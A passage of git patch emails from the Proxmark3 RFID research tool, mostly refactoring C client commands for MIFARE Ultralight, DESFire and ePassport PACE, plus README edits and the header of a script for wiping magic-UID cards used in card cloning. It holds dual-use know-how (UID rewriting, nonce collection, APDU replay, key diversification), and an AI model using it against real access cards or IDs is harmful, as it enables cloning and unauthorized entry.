CmdHF14AMfURestore(const char *Cmd) { PrintAndLogEx(NORMAL, "special PWD block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PWD, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data)); wait4response(MFU_NTAG_SPECIAL_PWD); @@ -2278,7 +2278,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { data[3] = 0; PrintAndLogEx(NORMAL, "special PACK block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PACK, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data)); wait4response(MFU_NTAG_SPECIAL_PACK); // Signature @@ -2286,7 +2286,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { memcpy(data, mem->signature + i, 4); PrintAndLogEx(NORMAL, "special SIG block written 0x%X - %s\n", s, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); wait4response(s); } @@ -2295,7 +2295,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { memcpy(data, mem->version + i, 4); PrintAndLogEx(NORMAL, "special VERSION block written 0x%X - %s\n", s, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); wait4response(s); } } @@ -2309,7 +2309,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { //Send write Block memcpy(data, mem->data + (b * 4), 4); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); wait4response(b); printf("."); fflush(stdout); @@ -2329,7 +2329,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { uint8_t b = blocks[i]; memcpy(data, mem->data + (b * 4), 4); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); wait4response(b); PrintAndLogEx(NORMAL, "special block written %u - %s\n", b, sprint_hex(data, 4)); } @@ -2338,7 +2338,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { DropField(); free(dump); PrintAndLogEx(INFO, "Finish restore"); - return 0; + return PM3_SUCCESS; } // // Load emulator with dump file @@ -2388,7 +2388,7 @@ static int CmdHF14AMfUCAuth(const char *Cmd) { else PrintAndLogEx(WARNING, "Authentication failed"); - return 0; + return PM3_SUCCESS; } /** @@ -2500,11 +2500,11 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) { if (param_gethex(Cmd, 0, pwd, 32)) { PrintAndLogEx(WARNING, "Password must include 32 HEX symbols"); - return 1; + return PM3_EINVARG; } clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16); + SendCommandMIX(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { @@ -2512,13 +2512,13 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) { PrintAndLogEx(INFO, "Ultralight-C new password: %s", sprint_hex(pwd, 16)); } else { PrintAndLogEx(WARNING, "Failed writing at block %u", (uint8_t)(resp.oldarg[1] & 0xff)); - return 1; + return PM3_ESOFT; } } else { PrintAndLogEx(WARNING, "command execution time out"); - return 1; + return PM3_ETIMEOUT; } - return 0; + return PM3_SUCCESS; } // @@ -2556,7 +2556,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = uid[2]; data[3] = 0x88 ^ uid[0] ^ uid[1] ^ uid[2]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2568,7 +2568,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = uid[5]; data[3] = uid[6]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2580,7 +2580,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = oldblock2[2]; data[3] = oldblock2[3]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2611,11 +2611,11 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { if (select_status == 0) { PrintAndLogEx(WARNING, "iso14443a card select failed"); - return 1; + return PM3_ESOFT; } if (card.uidlen != 4) { PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); - return 1; + return PM3_ESOFT; } memcpy(uid, card.uid, sizeof(uid)); } else { @@ -2654,13 +2654,13 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { , divkey // output ); - PrintAndLogEx(NORMAL, "-- 3DES version"); - PrintAndLogEx(NORMAL, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey))); - PrintAndLogEx(NORMAL, "UID :\t %s", sprint_hex(uid, sizeof(uid))); - PrintAndLogEx(NORMAL, "block :\t %0d", block); - PrintAndLogEx(NORMAL, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA))); - PrintAndLogEx(NORMAL, "Message :\t %s", sprint_hex(mix, sizeof(mix))); - PrintAndLogEx(NORMAL, "Diversified key: %s", sprint_hex(divkey + 1, 6)); + PrintAndLogEx(SUCCESS, "-- 3DES version"); + PrintAndLogEx(SUCCESS, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey))); + PrintAndLogEx(SUCCESS, "UID :\t %s", sprint_hex(uid, sizeof(uid))); + PrintAndLogEx(SUCCESS, "block :\t %0d", block); + PrintAndLogEx(SUCCESS, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA))); + PrintAndLogEx(SUCCESS, "Message :\t %s", sprint_hex(mix, sizeof(mix))); + PrintAndLogEx(SUCCESS, "Diversified key: %s", sprint_hex(divkey + 1, 6)); for (int i = 0; i < ARRAYLEN(mifarekeyA); ++i) { dkeyA[i] = (mifarekeyA[i] << 1) & 0xff; @@ -2690,11 +2690,11 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { , newpwd // output ); - PrintAndLogEx(NORMAL, "\n-- DES version"); - PrintAndLogEx(NORMAL, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA))); - PrintAndLogEx(NORMAL, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB))); - PrintAndLogEx(NORMAL, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey))); - PrintAndLogEx(NORMAL, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd))); + PrintAndLogEx(SUCCESS, "\n-- DES version"); + PrintAndLogEx(SUCCESS, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA))); + PrintAndLogEx(SUCCESS, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB))); + PrintAndLogEx(SUCCESS, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey))); + PrintAndLogEx(SUCCESS, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd))); mbedtls_des3_free(&ctx); // next. from the diversify_key method. From e812726c703130930a1c63bddf811ccfe8e96a45 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 2 Dec 2019 11:47:43 +0100 Subject: [PATCH 054/418] chg: return codes etc --- client/cmdhfmfdes.c | 73 +++++++++++++++++++++++---------------------- 1 file changed, 38 insertions(+), 35 deletions(-) diff --git a/client/cmdhfmfdes.c b/client/cmdhfmfdes.c index 17dd97289..d1b1b5dd8 100644 --- a/client/cmdhfmfdes.c +++ b/client/cmdhfmfdes.c @@ -33,7 +33,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); - return 0; + return PM3_ETIMEOUT; } uint8_t isOK = resp.oldarg[0] & 0xff; if (!isOK) { @@ -49,7 +49,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { PrintAndLogEx(WARNING, "Command unsuccessful"); break; } - return 0; + return PM3_ESOFT; } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "-- Desfire Information --------------------------------------"); @@ -82,7 +82,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { uint8_t data[1] = {GET_FREE_MEMORY}; SendCommandOLD(CMD_HF_DESFIRE_COMMAND, (INIT | DISCONNECT), 0x01, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) - return 0; + return PM3_ETIMEOUT; uint8_t tmp[3]; memcpy(tmp, resp.data.asBytes + 3, 3); @@ -105,7 +105,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { */ - return 1; + return PM3_SUCCESS; } /* @@ -189,10 +189,12 @@ void getKeySettings(uint8_t *aid) { PrintAndLogEx(NORMAL, " [0x02] Directory list access with CMK : %s", str); str = (resp.data.asBytes[3] & (1 << 0)) ? "YES" : "NO"; PrintAndLogEx(NORMAL, " [0x01] CMK is changeable : %s", str); + { uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { return; } isOK = resp.oldarg[0] & 0xff; if (!isOK) { @@ -206,24 +208,27 @@ void getKeySettings(uint8_t *aid) { { uint8_t data[2] = {AUTHENTICATE, 0}; // 0x0A, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0x0A] Authenticate : %s", (isOK == 0xAE) ? "NO" : "YES"); { uint8_t data[2] = {AUTHENTICATE_ISO, 0}; // 0x1A, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0x1A] Authenticate ISO : %s", (isOK == 0xAE) ? "NO" : "YES"); { uint8_t data[2] = {AUTHENTICATE_AES, 0}; // 0xAA, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0xAA] Authenticate AES : %s", (isOK == 0xAE) ? "NO" : "YES"); @@ -237,7 +242,7 @@ void getKeySettings(uint8_t *aid) { { uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a memcpy(data + 1, aid, 3); - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, " Timed-out"); @@ -252,8 +257,9 @@ void getKeySettings(uint8_t *aid) { // KEY SETTINGS { uint8_t data[1] = {GET_KEY_SETTINGS}; // 0x45 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { return; } @@ -294,8 +300,9 @@ void getKeySettings(uint8_t *aid) { // KEY VERSION - AMK { uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, " Timed-out"); return; @@ -318,11 +325,10 @@ void getKeySettings(uint8_t *aid) { // LOOP over numOfKeys that we got before. // From 0x01 to numOfKeys. We already got 0x00. (AMK) // TODO (iceman) +/* for (int i = 0x01; i <= 0x0f; ++i) { - } - - +*/ } } @@ -333,17 +339,18 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { uint8_t aid[3]; { uint8_t data[1] = {GET_APPLICATION_IDS}; //0x6a - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - return 0; + return PM3_ETIMEOUT; } + isOK = resp.oldarg[0] & 0xff; if (!isOK) { PrintAndLogEx(NORMAL, "Command unsuccessful"); - return 0; + return PM3_ESOFT; } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "-- Desfire Enumerate Applications ---------------------------"); @@ -368,7 +375,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { { uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a memcpy(data + 1, &resp.data.asBytes[i], 3); - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respAid, 1500)) { @@ -384,7 +391,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { // Get File IDs { uint8_t data[1] = {GET_FILE_IDS}; // 0x6f - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { @@ -405,7 +412,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { // Get ISO File IDs { uint8_t data[1] = {GET_ISOFILE_IDS}; // 0x61 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { @@ -422,13 +429,9 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { } } } - - } PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); - - - return 1; + return PM3_SUCCESS; } // MIAFRE DesFire Authentication @@ -456,7 +459,7 @@ static int CmdHF14ADesAuth(const char *Cmd) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mfdes auth 1 1 0 11223344"); PrintAndLogEx(NORMAL, " hf mfdes auth 3 4 0 404142434445464748494a4b4c4d4e4f"); - return 0; + return PM3_SUCCESS; } uint8_t cmdAuthMode = param_get8(Cmd, 0); uint8_t cmdAuthAlgo = param_get8(Cmd, 1); @@ -466,25 +469,24 @@ static int CmdHF14ADesAuth(const char *Cmd) { case 1: if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; case 2: if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2 && cmdAuthAlgo != 3) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; case 3: if (cmdAuthAlgo != 4) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; default: PrintAndLogEx(WARNING, "Wrong Auth mode"); - return 1; - break; + return PM3_EINVARG; } switch (cmdAuthAlgo) { @@ -510,8 +512,9 @@ static int CmdHF14ADesAuth(const char *Cmd) { // key if (param_gethex(Cmd, 3, key, keylength * 2)) { PrintAndLogEx(WARNING, "Key must include %d HEX symbols", keylength); - return 1; + return PM3_EINVARG; } + // algo, keylength, uint8_t data[25] = {keylength}; // max length: 1 + 24 (3k3DES) memcpy(data + 1, key, keylength); @@ -521,7 +524,7 @@ static int CmdHF14ADesAuth(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { PrintAndLogEx(WARNING, "Client command execute timeout"); - return 0; + return PM3_ETIMEOUT; } uint8_t isOK = resp.oldarg[0] & 0xff; @@ -536,7 +539,7 @@ static int CmdHF14ADesAuth(const char *Cmd) { PrintAndLogEx(NORMAL, "Client command failed."); } PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); - return 1; + return PM3_SUCCESS; } @@ -553,7 +556,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFMFDes(const char *Cmd) { From 85ff07caa62992fc73e1ec27e4f0de18af445295 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 2 Dec 2019 11:53:50 +0100 Subject: [PATCH 055/418] chg: return codes etc --- client/cmdhfepa.c | 52 +++++++++++++++++++++++------------------------ 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/client/cmdhfepa.c b/client/cmdhfepa.c index af5d26eaf..e83ee39bf 100644 --- a/client/cmdhfepa.c +++ b/client/cmdhfepa.c @@ -16,7 +16,7 @@ #include #include "cmdparser.h" // command_t -#include "commonutil.h" // ARRAYLEN +#include "commonutil.h" // ARRAYLEN #include "comms.h" // clearCommandBuffer #include "ui.h" #include "util_posix.h" @@ -38,8 +38,8 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { m = m > 0 ? m : 1; n = n > 0 ? n : 1; - PrintAndLogEx(NORMAL, "Collecting %u %u byte nonces", n, m); - PrintAndLogEx(NORMAL, "Start: %" PRIu64, msclock() / 1000); + PrintAndLogEx(SUCCESS, "Collecting %u %u byte nonces", n, m); + PrintAndLogEx(SUCCESS, "Start: %" PRIu64, msclock() / 1000); // repeat n times for (uint32_t i = 0; i < n; i++) { // execute PACE @@ -58,15 +58,15 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { sprintf(nonce + (2 * j), "%02X", resp.data.asBytes[j]); } // print nonce - PrintAndLogEx(NORMAL, "Length: %zu, Nonce: %s", nonce_length, nonce); + PrintAndLogEx(SUCCESS, "Length: %zu, Nonce: %s", nonce_length, nonce); free(nonce); } if (i < n - 1) { sleep(d); } } - PrintAndLogEx(NORMAL, "End: %" PRIu64, msclock() / 1000); - return 1; + PrintAndLogEx(SUCCESS, "End: %" PRIu64, msclock() / 1000); + return PM3_SUCCESS; } // perform the PACE protocol by replaying APDUs @@ -98,9 +98,9 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { ); if (scan_return < 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); + PrintAndLogEx(INFO, (char *)usage_msg); PrintAndLogEx(WARNING, "Not enough APDUs! Try again!"); - return 0; + return PM3_SUCCESS; } skip += skip_add; apdu_lengths[i]++; @@ -110,8 +110,8 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { if (Cmd[skip] == '\0') { if (i < ARRAYLEN(apdu_lengths) - 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); - return 0; + PrintAndLogEx(INFO, (char *)usage_msg); + return PM3_SUCCESS; } break; } @@ -146,7 +146,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j); - return 0; + return PM3_ESOFT; } } } @@ -156,22 +156,22 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { SendCommandMIX(CMD_HF_EPA_REPLAY, 0, 0, 0, NULL, 0); WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { - PrintAndLogEx(NORMAL, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); - PrintAndLogEx(NORMAL, "Measured times:"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); + PrintAndLogEx(SUCCESS, "Measured times:"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } else { - PrintAndLogEx(NORMAL, "PACE replay successful!"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "PACE replay successful!"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } - return 1; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -184,7 +184,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFEPA(const char *Cmd) { From 14f7b04edb665e03467d820762a99c8ade150b48 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Mon, 2 Dec 2019 16:42:55 +0200 Subject: [PATCH 056/418] add changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2360c615d..161c581c2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added mf plus command `hf mfp chk` for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) - Change `hf 15` - some refactoring (@grspy) - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) From 917fc80b90ffd359b51233793a9c180c1187aa26 Mon Sep 17 00:00:00 2001 From: Iceman Date: Mon, 2 Dec 2019 20:26:04 +0100 Subject: [PATCH 057/418] Update README.md --- README.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/README.md b/README.md index b306ad542..f400633d5 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,5 @@ # RRG / Iceman repo - Proxmark3 -This repo is based on iceman fork for Proxmark3. - -It supports RDV4.0 and other Proxmark3 platforms as well. - - | Releases | Linux & OSX CI | Windows CI | Coverity | | ------------------- |:-------------------:| -------------------:| -------------------:| | [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)| @@ -110,4 +105,3 @@ Nothing says thank you as much as a donation. So if you feel the love, do feel f https://www.patreon.com/iceman1001 -All support is welcome! From 26ffd5fad5d0c79523de46df9626a0a777b39d2b Mon Sep 17 00:00:00 2001 From: Iceman Date: Mon, 2 Dec 2019 20:28:29 +0100 Subject: [PATCH 058/418] Update README.md --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f400633d5..7e4c28145 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,11 @@ # RRG / Iceman repo - Proxmark3 + | Releases | Linux & OSX CI | Windows CI | Coverity | | ------------------- |:-------------------:| -------------------:| -------------------:| | [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)| ---- + + # PROXMARK INSTALLATION AND OVERVIEW @@ -24,10 +26,12 @@ |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) || |[Donations](#Donations)||| -## Support on other Proxmark3 platforms + +## Build for non-RDV4 Proxmark3 platforms In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md) + ## What has changed? On the hardware side: From 46ba161ba299ad07f80b4dd24ecf60c9ea8536d7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:47:34 +0100 Subject: [PATCH 059/418] ADD file --- tools/pm3_mf7b_wipe.py | 150 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 tools/pm3_mf7b_wipe.py diff --git a/tools/pm3_mf7b_wipe.py b/tools/pm3_mf7b_wipe.py new file mode 100644 index 000000000..bfa1f2524 --- /dev/null +++ b/tools/pm3_mf7b_wipe.py @@ -0,0 +1,150 @@ +#! /usr/bin/env python3.6 +# -*- coding: utf-8 -*- +# +# VULNERS OPENSOURCE +# __________________ +# +# Vulners Project [https://vulners.com] +# All Rights Reserved. +# +# Author: Kir [isox@vulners.com] +# Credits: Dennis Goh [dennis@rfidresearchgroup.com] +# +# This helper script is made for wiping S50 7byte UID cards with Gen2 magic commands from restored state to blank one. +# +# Scenario: +# You want to clone 7byte Mifare 1k card using RfidResearchGroup Proxmark3 